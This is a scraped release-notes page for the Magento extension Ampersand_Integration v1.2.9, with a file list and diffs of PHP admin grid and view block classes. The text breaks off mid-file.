Version Notes
Ampersand_Integration v1.2.9
Download this release
Release Info
Developer | Magento Core Team |
Extension | Ampersand_Integration |
Version | 1.2.9 |
Comparing to | |
See all releases |
Version 1.2.9
- app/code/core/Ampersand/Integration/Block/Adminhtml/Flag.php +44 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Flag/Grid.php +166 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Flag/View.php +45 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Flag/View/Abstract.php +30 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Flag/View/Identifier.php +25 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Flag/View/Overview.php +22 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Grid/DirectedServiceFilter.php +143 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Grid/DirectedServiceRenderer.php +53 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Grid/StatusRenderer.php +93 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/GridAbstract.php +104 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Message.php +44 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Message/Grid.php +161 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View.php +87 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/Abstract.php +85 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/Flags/Grid.php +123 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/LogContent.php +100 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/LogContent/Pair.php +61 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/LogContent/XmlElement.php +84 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/Overview.php +52 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/RelatedObjects/Grid.php +130 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/MessageIdentifier.php +45 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/MessageIdentifier/Grid.php +180 -0
- app/code/core/Ampersand/Integration/Block/Adminhtml/System/Config/Renderer/CustomFields.php +201 -0
- app/code/core/Ampersand/Integration/Controller/Adminhtml/Abstract.php +178 -0
- app/code/core/Ampersand/Integration/Controller/Adminhtml/Message.php +71 -0
- app/code/core/Ampersand/Integration/Helper/Adminhtml.php +64 -0
- app/code/core/Ampersand/Integration/Helper/Data.php +43 -0
- app/code/core/Ampersand/Integration/Helper/Message.php +158 -0
- app/code/core/Ampersand/Integration/Helper/ServiceAbstract.php +46 -0
- app/code/core/Ampersand/Integration/Model/AdminSession.php +96 -0
- app/code/core/Ampersand/Integration/Model/Config.php +100 -0
- app/code/core/Ampersand/Integration/Model/Config/Base.php +49 -0
- app/code/core/Ampersand/Integration/Model/Creditmemo.php +30 -0
- app/code/core/Ampersand/Integration/Model/Flag.php +79 -0
- app/code/core/Ampersand/Integration/Model/Invoice.php +30 -0
- app/code/core/Ampersand/Integration/Model/License.php +89 -0
- app/code/core/Ampersand/Integration/Model/Logger/Database.php +64 -0
- app/code/core/Ampersand/Integration/Model/Logger/File.php +66 -0
- app/code/core/Ampersand/Integration/Model/Mapper/ClassName.php +56 -0
- app/code/core/Ampersand/Integration/Model/Mapper/CustomFields.php +123 -0
- app/code/core/Ampersand/Integration/Model/Mapper/Helper.php +36 -0
- app/code/core/Ampersand/Integration/Model/Mapper/StoreConfig.php +58 -0
- app/code/core/Ampersand/Integration/Model/Message.php +128 -0
- app/code/core/Ampersand/Integration/Model/Message/Filter/CompressDirectory.php +31 -0
- app/code/core/Ampersand/Integration/Model/Message/Identifier.php +288 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Abstract.php +81 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Flag.php +24 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Flag/Collection.php +85 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Message.php +24 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Message/Collection.php +110 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Message/Identifier.php +117 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Message/Identifier/Collection.php +77 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Service/Info.php +25 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Service/Info/Collection.php +25 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Status.php +40 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/Status/Collection.php +24 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/StockUpdate.php +35 -0
- app/code/core/Ampersand/Integration/Model/Mysql4/StockUpdate/Collection.php +24 -0
- app/code/core/Ampersand/Integration/Model/OrderAbstract.php +223 -0
- app/code/core/Ampersand/Integration/Model/Payment.php +37 -0
- app/code/core/Ampersand/Integration/Model/Service.php +127 -0
- app/code/core/Ampersand/Integration/Model/Service/CollectionAbstract.php +58 -0
- app/code/core/Ampersand/Integration/Model/Service/Info.php +48 -0
- app/code/core/Ampersand/Integration/Model/Shipment.php +72 -0
- app/code/core/Ampersand/Integration/Model/Status.php +35 -0
- app/code/core/Ampersand/Integration/Model/StockUpdate.php +171 -0
- app/code/core/Ampersand/Integration/Model/Transport/Incoming/Http.php +93 -0
- app/code/core/Ampersand/Integration/changelog.txt +3 -0
- app/code/core/Ampersand/Integration/controllers/Adminhtml/FlagController.php +168 -0
- app/code/core/Ampersand/Integration/controllers/Adminhtml/Message/ViewController.php +81 -0
- app/code/core/Ampersand/Integration/controllers/Adminhtml/MessageController.php +91 -0
- app/code/core/Ampersand/Integration/controllers/Adminhtml/MessageIdentifierController.php +116 -0
- app/code/core/Ampersand/Integration/controllers/MessageController.php +51 -0
- app/code/core/Ampersand/Integration/etc/adminhtml.xml +66 -0
- app/code/core/Ampersand/Integration/etc/config.xml +96 -0
- app/code/core/Ampersand/Integration/etc/integration/in.types.xml +30 -0
- app/code/core/Ampersand/Integration/etc/integration/out.types.xml +11 -0
- app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-install-1.0.0.php +51 -0
- app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-upgrade-1.0.0-1.0.1.php +19 -0
- app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-upgrade-1.0.1-1.0.2.php +41 -0
- app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-upgrade-1.2.3-1.2.4.php +26 -0
- app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-upgrade-1.2.6-1.2.7.php +13 -0
- app/code/core/Ampersand/Integration/sql/ampersand_integration_setup/mysql4-upgrade-1.2.7-1.2.8.php +13 -0
- app/design/adminhtml/base/default/layout/ampersand_integration.xml +51 -0
- app/design/adminhtml/base/default/template/ampersand_integration/flag/view.phtml +36 -0
- app/design/adminhtml/base/default/template/ampersand_integration/flag/view/identifier.phtml +27 -0
- app/design/adminhtml/base/default/template/ampersand_integration/flag/view/overview.phtml +45 -0
- app/design/adminhtml/base/default/template/ampersand_integration/message/view.phtml +19 -0
- app/design/adminhtml/base/default/template/ampersand_integration/message/view/flags.phtml +8 -0
- app/design/adminhtml/base/default/template/ampersand_integration/message/view/log-content.phtml +31 -0
- app/design/adminhtml/base/default/template/ampersand_integration/message/view/log-content/pair.phtml +19 -0
- app/design/adminhtml/base/default/template/ampersand_integration/message/view/log-content/xml-element.phtml +30 -0
- app/design/adminhtml/base/default/template/ampersand_integration/message/view/overview.phtml +47 -0
- app/design/adminhtml/base/default/template/ampersand_integration/message/view/related-objects.phtml +8 -0
- app/etc/modules/Ampersand_Integration.xml +13 -0
- lib/Ampersand/Integration/ConfigurableInterface.php +9 -0
- lib/Ampersand/Integration/Debug.php +81 -0
- lib/Ampersand/Integration/Debug/DebugInterface.php +21 -0
- lib/Ampersand/Integration/DebugableInterface.php +22 -0
- lib/Ampersand/Integration/Exception.php +19 -0
- lib/Ampersand/Integration/Flag.php +111 -0
- lib/Ampersand/Integration/Flag/AggregatorInterface.php +15 -0
- lib/Ampersand/Integration/Flag/FlagInterface.php +27 -0
- lib/Ampersand/Integration/HandlerQueue.php +102 -0
- lib/Ampersand/Integration/HandlerQueue/Config.php +344 -0
- lib/Ampersand/Integration/HandlerQueue/Handler/Abstract.php +178 -0
- lib/Ampersand/Integration/HandlerQueue/Handler/CallbackMulti.php +41 -0
- lib/Ampersand/Integration/HandlerQueue/Handler/CallbackSingle.php +91 -0
- lib/Ampersand/Integration/HandlerQueue/Handler/Copy.php +30 -0
- lib/Ampersand/Integration/HandlerQueue/Handler/Filter.php +37 -0
- lib/Ampersand/Integration/HandlerQueue/Handler/Interface.php +27 -0
- lib/Ampersand/Integration/HandlerQueue/Handler/Provider.php +32 -0
- lib/Ampersand/Integration/HandlerQueue/Handler/Transform.php +62 -0
- lib/Ampersand/Integration/HandlerQueue/Handler/Validate.php +35 -0
- lib/Ampersand/Integration/Identifier.php +62 -0
- lib/Ampersand/Integration/Identifier/AggregatorAbstract.php +49 -0
- lib/Ampersand/Integration/Identifier/AggregatorInterface.php +11 -0
- lib/Ampersand/Integration/Identifier/IdentifierAbstract.php +79 -0
- lib/Ampersand/Integration/Identifier/IdentifierInterface.php +27 -0
- lib/Ampersand/Integration/Message/Abstract.php +101 -0
- lib/Ampersand/Integration/Message/Config/Abstract.php +565 -0
- lib/Ampersand/Integration/Message/Config/Incoming.php +169 -0
- lib/Ampersand/Integration/Message/Config/Outgoing.php +115 -0
- lib/Ampersand/Integration/Message/Data/Abstract.php +74 -0
- lib/Ampersand/Integration/Message/Data/Request.php +42 -0
- lib/Ampersand/Integration/Message/Data/Response.php +42 -0
- lib/Ampersand/Integration/Message/Debug.php +5 -0
- lib/Ampersand/Integration/Message/Filter/Abstract.php +102 -0
- lib/Ampersand/Integration/Message/Filter/AmpersandObject.php +33 -0
- lib/Ampersand/Integration/Message/Filter/CompressDirectory.php +120 -0
- lib/Ampersand/Integration/Message/Filter/DomHtml.php +51 -0
- lib/Ampersand/Integration/Message/Filter/Exception.php +21 -0
- lib/Ampersand/Integration/Message/Filter/Interface.php +24 -0
- lib/Ampersand/Integration/Message/Filter/Json.php +41 -0
- lib/Ampersand/Integration/Message/Filter/KeyValue.php +47 -0
- lib/Ampersand/Integration/Message/Filter/Provider.php +29 -0
- lib/Ampersand/Integration/Message/Filter/XmlObject.php +43 -0
- lib/Ampersand/Integration/Message/Filter/Xsv.php +222 -0
- lib/Ampersand/Integration/Message/Incoming.php +115 -0
- lib/Ampersand/Integration/Message/Logger/Abstract.php +161 -0
- lib/Ampersand/Integration/Message/Logger/Exception.php +21 -0
- lib/Ampersand/Integration/Message/Logger/File.php +500 -0
- lib/Ampersand/Integration/Message/Logger/Interface.php +25 -0
- lib/Ampersand/Integration/Message/Logger/Provider.php +24 -0
- lib/Ampersand/Integration/Message/Logger/XmlFile.php +175 -0
- lib/Ampersand/Integration/Message/Obfuscator/Cc.php +16 -0
- lib/Ampersand/Integration/Message/Obfuscator/FixedLength.php +9 -0
- lib/Ampersand/Integration/Message/Obfuscator/ObfuscatorInterface.php +5 -0
- lib/Ampersand/Integration/Message/Obfuscator/Password.php +11 -0
- lib/Ampersand/Integration/Message/Obfuscator/Provider.php +26 -0
- lib/Ampersand/Integration/Message/Outgoing.php +104 -0
- lib/Ampersand/Integration/ReconfigurableInterface.php +17 -0
- lib/Ampersand/Integration/Registry.php +51 -0
- lib/Ampersand/Integration/Service.php +203 -0
- lib/Ampersand/Integration/Transport/Abstract.php +89 -0
- lib/Ampersand/Integration/Transport/Exception.php +21 -0
- lib/Ampersand/Integration/Transport/FileTransferAbstract.php +236 -0
- lib/Ampersand/Integration/Transport/FtpTransferAbstract.php +132 -0
- lib/Ampersand/Integration/Transport/Incoming/Abstract.php +65 -0
- lib/Ampersand/Integration/Transport/Incoming/File.php +280 -0
- lib/Ampersand/Integration/Transport/Incoming/FileTransfer.php +31 -0
- lib/Ampersand/Integration/Transport/Incoming/Ftp.php +192 -0
- lib/Ampersand/Integration/Transport/Incoming/FtpTransfer.php +43 -0
- lib/Ampersand/Integration/Transport/Incoming/Http.php +36 -0
- lib/Ampersand/Integration/Transport/Incoming/Interface.php +24 -0
- lib/Ampersand/Integration/Transport/Incoming/Provider.php +28 -0
- lib/Ampersand/Integration/Transport/Incoming/Test.php +146 -0
- lib/Ampersand/Integration/Transport/Interface.php +22 -0
- lib/Ampersand/Integration/Transport/Outgoing/Abstract.php +100 -0
- lib/Ampersand/Integration/Transport/Outgoing/File.php +338 -0
- lib/Ampersand/Integration/Transport/Outgoing/FileTransfer.php +41 -0
- lib/Ampersand/Integration/Transport/Outgoing/Ftp.php +114 -0
- lib/Ampersand/Integration/Transport/Outgoing/FtpTransfer.php +53 -0
- lib/Ampersand/Integration/Transport/Outgoing/Http.php +197 -0
- lib/Ampersand/Integration/Transport/Outgoing/Http/Client.php +41 -0
- lib/Ampersand/Integration/Transport/Outgoing/Interface.php +26 -0
- lib/Ampersand/Integration/Transport/Outgoing/Oauth.php +64 -0
- lib/Ampersand/Integration/Transport/Outgoing/Oauth/Client.php +46 -0
- lib/Ampersand/Integration/Transport/Outgoing/Provider.php +30 -0
- lib/Ampersand/Integration/Transport/Outgoing/Soap.php +102 -0
- lib/Ampersand/Integration/Transport/Outgoing/Test.php +133 -0
- lib/Ampersand/Map.php +37 -0
- lib/Ampersand/Map/Config.php +212 -0
- lib/Ampersand/Map/Exception.php +19 -0
- lib/Ampersand/Map/Iterator.php +74 -0
- lib/Ampersand/Map/Iterator/BreakException.php +19 -0
- lib/Ampersand/Map/Iterator/ContinueException.php +19 -0
- lib/Ampersand/Map/Mapper/Abstract.php +52 -0
- lib/Ampersand/Map/Mapper/Accessor.php +58 -0
- lib/Ampersand/Map/Mapper/AllData.php +22 -0
- lib/Ampersand/Map/Mapper/Array.php +37 -0
- lib/Ampersand/Map/Mapper/Concatenate.php +28 -0
- lib/Ampersand/Map/Mapper/FieldPath.php +77 -0
- lib/Ampersand/Map/Mapper/FlagType.php +22 -0
- lib/Ampersand/Map/Mapper/Fraction.php +50 -0
- lib/Ampersand/Map/Mapper/Function.php +88 -0
- lib/Ampersand/Map/Mapper/Interface.php +24 -0
- lib/Ampersand/Map/Mapper/Iteration.php +41 -0
- lib/Ampersand/Map/Mapper/LeafAbstract.php +26 -0
- lib/Ampersand/Map/Mapper/Method.php +82 -0
- lib/Ampersand/Map/Mapper/Multiply.php +28 -0
- lib/Ampersand/Map/Mapper/Negative.php +24 -0
- lib/Ampersand/Map/Mapper/Parameter.php +27 -0
- lib/Ampersand/Map/Mapper/Property.php +91 -0
- lib/Ampersand/Map/Mapper/Provider.php +40 -0
- lib/Ampersand/Map/Mapper/Regexp.php +67 -0
- lib/Ampersand/Map/Mapper/Sum.php +28 -0
- lib/Ampersand/Map/Mapper/Truncate.php +38 -0
- lib/Ampersand/Map/Mapper/Xpath.php +51 -0
- lib/Ampersand/Map/Mapper/XpathSingle.php +28 -0
- lib/Ampersand/Map/Result.php +83 -0
- lib/Ampersand/Map/XmlElement.php +352 -0
- lib/Ampersand/Render.php +39 -0
- lib/Ampersand/Render/Exception.php +19 -0
- lib/Ampersand/Render/Renderer/Abstract.php +70 -0
- lib/Ampersand/Render/Renderer/Interface.php +23 -0
- lib/Ampersand/Render/Renderer/KeyValue.php +40 -0
- lib/Ampersand/Render/Renderer/KeyValues.php +32 -0
- lib/Ampersand/Render/Renderer/Provider.php +26 -0
- lib/Ampersand/Render/Renderer/Soap.php +61 -0
- lib/Ampersand/Render/Renderer/Soap/DummyClient.php +39 -0
- lib/Ampersand/Render/Renderer/Xml.php +123 -0
- lib/Ampersand/Render/Renderer/Xsv.php +127 -0
- lib/Ampersand/Render/XmlElement.php +229 -0
- lib/Ampersand/Validator/Abstract.php +54 -0
- lib/Ampersand/Validator/And.php +30 -0
- lib/Ampersand/Validator/GroupAbstract.php +40 -0
- lib/Ampersand/Validator/InstanceOf.php +26 -0
- lib/Ampersand/Validator/Interface.php +36 -0
- lib/Ampersand/Validator/Nand.php +24 -0
- lib/Ampersand/Validator/Nor.php +24 -0
- lib/Ampersand/Validator/Or.php +30 -0
- lib/Ampersand/Validator/Provider.php +28 -0
- lib/Ampersand/Validator/Xor.php +34 -0
- package.xml +18 -0
app/code/core/Ampersand/Integration/Block/Adminhtml/Flag.php
ADDED
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Flag extends Mage_Adminhtml_Block_Widget_Grid_Container
|
19 |
+
{
|
20 |
+
public function __construct()
|
21 |
+
{
|
22 |
+
$this->_blockGroup = 'ampersand_integration_admin';
|
23 |
+
$this->_controller = 'flag';
|
24 |
+
|
25 |
+
if (!$this->getService()) {
|
26 |
+
$this->_headerText = Mage::helper('ampersand_integration')->__(
|
27 |
+
'Flags'
|
28 |
+
);
|
29 |
+
} else {
|
30 |
+
$this->_headerText = Mage::helper('ampersand_integration')->__(
|
31 |
+
'%s Flags', $this->getService()->getDescription()
|
32 |
+
);
|
33 |
+
}
|
34 |
+
|
35 |
+
parent::__construct();
|
36 |
+
|
37 |
+
$this->_removeButton('add');
|
38 |
+
}
|
39 |
+
|
40 |
+
public function getService()
|
41 |
+
{
|
42 |
+
return Mage::helper('ampersand_integration/adminhtml')->getCurrentService();
|
43 |
+
}
|
44 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Flag/Grid.php
ADDED
@@ -0,0 +1,166 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Flag_Grid
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_GridAbstract
|
20 |
+
{
|
21 |
+
protected $_serviceOptionsArray;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
parent::__construct();
|
26 |
+
|
27 |
+
$this->setId('flag_grid')
|
28 |
+
->setUseAjax(true)
|
29 |
+
->setDefaultSort('entity_id')
|
30 |
+
->setDefaultDir('DESC')
|
31 |
+
->setSaveParametersInSession(true)
|
32 |
+
;
|
33 |
+
}
|
34 |
+
|
35 |
+
protected function _prepareCollection()
|
36 |
+
{
|
37 |
+
if (!$allowedServiceIds = $this->getAllowedServiceIds()) {
|
38 |
+
$allowedServiceIds = array(-1);
|
39 |
+
}
|
40 |
+
|
41 |
+
$collection = Mage::getResourceModel('ampersand_integration/flag_collection')
|
42 |
+
->addFieldToFilter('`main_table`.service_id', $allowedServiceIds)
|
43 |
+
->joinStatus()
|
44 |
+
->joinMessage()
|
45 |
+
->joinIdentifier();
|
46 |
+
|
47 |
+
$service = Mage::helper('ampersand_integration/adminhtml')->getCurrentService();
|
48 |
+
if ($service) {
|
49 |
+
$collection->addFieldToFilter('`main_table`.service_id', $service->getId());
|
50 |
+
}
|
51 |
+
|
52 |
+
$this->setCollection($collection);
|
53 |
+
|
54 |
+
return parent::_prepareCollection();
|
55 |
+
}
|
56 |
+
|
57 |
+
protected function _prepareColumns()
|
58 |
+
{
|
59 |
+
$this->addColumn('entity_id', array(
|
60 |
+
'header' => Mage::helper('ampersand_integration')->__('Flag #'),
|
61 |
+
'type' => 'number',
|
62 |
+
'index' => 'entity_id',
|
63 |
+
));
|
64 |
+
|
65 |
+
$this->addColumn('created_at', array(
|
66 |
+
'header' => Mage::helper('ampersand_integration')->__('Date'),
|
67 |
+
'type' => 'datetime',
|
68 |
+
'index' => 'created_at',
|
69 |
+
));
|
70 |
+
|
71 |
+
|
72 |
+
|
73 |
+
if (!$this->getServiceCode()) {
|
74 |
+
$this->addColumn('service_name', array(
|
75 |
+
'header' => Mage::helper('ampersand_integration')->__('Direction & Service'),
|
76 |
+
'filter' => 'ampersand_integration_admin/grid_directedServiceFilter',
|
77 |
+
'renderer' => 'ampersand_integration_admin/grid_directedServiceRenderer',
|
78 |
+
'index' => 'service_id',
|
79 |
+
'direction' => array(
|
80 |
+
'index' => 'message_direction',
|
81 |
+
'filter_index' => 'message_direction',
|
82 |
+
'options' => array(
|
83 |
+
Ampersand_Integration_Model_Message::DIRECTION_INCOMING =>
|
84 |
+
Mage::helper('ampersand_integration')->__('Incoming'),
|
85 |
+
Ampersand_Integration_Model_Message::DIRECTION_OUTGOING =>
|
86 |
+
Mage::helper('ampersand_integration')->__('Outgoing'),
|
87 |
+
),
|
88 |
+
),
|
89 |
+
'service' => array(
|
90 |
+
'index' => 'service_id',
|
91 |
+
'filter_index' => 'service_id',
|
92 |
+
'options' => $this->_getServiceOptionsArray(),
|
93 |
+
),
|
94 |
+
));
|
95 |
+
} else {
|
96 |
+
$this->addColumn('message_direction', array(
|
97 |
+
'header' => Mage::helper('ampersand_integration')->__('Direction'),
|
98 |
+
'type' => 'options',
|
99 |
+
'index' => 'message_direction',
|
100 |
+
'filter_index' => 'message_direction',
|
101 |
+
'options' => array(
|
102 |
+
Ampersand_Integration_Model_Message::DIRECTION_INCOMING =>
|
103 |
+
Mage::helper('ampersand_integration')->__('Incoming'),
|
104 |
+
Ampersand_Integration_Model_Message::DIRECTION_OUTGOING =>
|
105 |
+
Mage::helper('ampersand_integration')->__('Outgoing'),
|
106 |
+
),
|
107 |
+
));
|
108 |
+
}
|
109 |
+
|
110 |
+
$this->addColumn('message_name', array(
|
111 |
+
'header' => Mage::helper('ampersand_integration')->__('Message Name'),
|
112 |
+
'type' => 'text',
|
113 |
+
'index' => 'message_name',
|
114 |
+
'filter_index' => 'message_name',
|
115 |
+
));
|
116 |
+
|
117 |
+
$this->addColumn('identifier_name', array(
|
118 |
+
'header' => Mage::helper('ampersand_integration')->__('Reference Code'),
|
119 |
+
'type' => 'text',
|
120 |
+
'index' => 'identifier_name',
|
121 |
+
'filter_index' => 'identifier_name',
|
122 |
+
));
|
123 |
+
|
124 |
+
$this->addColumn('identifier_value', array(
|
125 |
+
'header' => Mage::helper('ampersand_integration')->__('Reference Value'),
|
126 |
+
'type' => 'text',
|
127 |
+
'index' => 'identifier_value',
|
128 |
+
'filter_index' => 'identifier_value',
|
129 |
+
));
|
130 |
+
|
131 |
+
$this->addColumn('status_code', array(
|
132 |
+
'header' => Mage::helper('ampersand_integration')->__('Status Code'),
|
133 |
+
'index' => 'status_code',
|
134 |
+
'filter_index' => 'status_code',
|
135 |
+
));
|
136 |
+
|
137 |
+
$this->addColumn('status_type', array(
|
138 |
+
'header' => Mage::helper('ampersand_integration')->__('Type'),
|
139 |
+
'index' => 'status_type',
|
140 |
+
'filter_index' => 'status_type',
|
141 |
+
));
|
142 |
+
|
143 |
+
$this->addColumn('action',
|
144 |
+
array(
|
145 |
+
'header' => Mage::helper('ampersand_integration')->__('Action'),
|
146 |
+
'type' => 'action',
|
147 |
+
'index' => 'entity_id',
|
148 |
+
'actions' => array(
|
149 |
+
array(
|
150 |
+
'caption' => Mage::helper('ampersand_integration')->__('View Flag'),
|
151 |
+
'url' => array(
|
152 |
+
'base' => '*/*/view',
|
153 |
+
'params' => array('_current' => true),
|
154 |
+
),
|
155 |
+
'field' => 'id',
|
156 |
+
),
|
157 |
+
),
|
158 |
+
'filter' => false,
|
159 |
+
'sortable' => false,
|
160 |
+
'is_system' => true,
|
161 |
+
'width' => 80,
|
162 |
+
));
|
163 |
+
|
164 |
+
return parent::_prepareColumns();
|
165 |
+
}
|
166 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Flag/View.php
ADDED
@@ -0,0 +1,45 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Flag_View
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_Message_View
|
20 |
+
{
|
21 |
+
public function __construct()
|
22 |
+
{
|
23 |
+
$this->_headerText = Mage::helper('ampersand_integration')->__(
|
24 |
+
'Flag # %s Details', $this->getFlag()->getId()
|
25 |
+
);
|
26 |
+
|
27 |
+
$this->_addButton('back', array(
|
28 |
+
'label' => Mage::helper('adminhtml')->__('Back'),
|
29 |
+
'onclick' => 'setLocation(\'' . $this->getBackUrl() . '\')',
|
30 |
+
'class' => 'back',
|
31 |
+
), -1);
|
32 |
+
|
33 |
+
$this->addSearchScrollButtons(Mage::helper('ampersand_adminhtml')->__('Flag'));
|
34 |
+
}
|
35 |
+
|
36 |
+
public function getFlag()
|
37 |
+
{
|
38 |
+
return Mage::registry('flag');
|
39 |
+
}
|
40 |
+
|
41 |
+
public function getIdentifier()
|
42 |
+
{
|
43 |
+
return Mage::registry('message_identifier');
|
44 |
+
}
|
45 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Flag/View/Abstract.php
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Block_Adminhtml_Flag_View_Abstract
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_Message_View_Abstract
|
20 |
+
{
|
21 |
+
public function getFlag()
|
22 |
+
{
|
23 |
+
